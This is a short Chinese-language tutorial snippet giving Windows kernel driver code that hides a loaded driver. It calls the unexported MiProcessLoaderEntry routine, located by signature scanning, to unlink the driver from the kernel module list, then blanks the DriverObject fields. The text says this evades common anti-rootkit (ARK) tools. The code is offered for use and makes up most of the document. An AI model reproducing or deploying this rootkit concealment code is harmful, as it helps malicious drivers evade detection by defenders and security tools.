驱动简单隐藏

此方法可以过一般的ark工具，缺点是不能卸载，如果要卸载的话，需要自己把修改的数据保存号，在卸载的时候恢复。

typedef VOID
(*MIPROCESSLOADERENTRY)(
IN PVOID DataTableEntry,
IN LOGICAL Insert
);
//需要使用特征码搜索找出这个函数的地址
MIPROCESSLOADERENTRY MiProcessLoadEntry;

VOID ThreadProc(PVOID Context)
{
	PDRIVER_OBJECT DriverObject = (PDRIVER_OBJECT)Context;
	LARGE_INTEGER timeout = RtlConvertLongToLargeInteger(-10 * 1000 * 1000);

	KeDelayExecutionThread(KernelMode, FALSE, &timeout);

	if (MiProcessLoadEntry != NULL)
	{
		//为false就从链表中移除
		MiProcessLoadEntry(DriverObject->DriverSection, FALSE);

		DriverObject->DriverStart = NULL;
		DriverObject->DriverSize = 0;
		DriverObject->DriverSection = NULL;
		DriverObject->DriverInit = NULL;
		DriverObject->DriverUnload = NULL;
		DriverObject->DeviceObject = NULL;
		
	}

//给出输出信息，确认驱动在运行
	while (TRUE)
	{
		KdPrint(("驱动正在运行\n"));
		KeDelayExecutionThread(KernelMode, FALSE, &timeout);
	}

	PsTerminateSystemThread(0);
}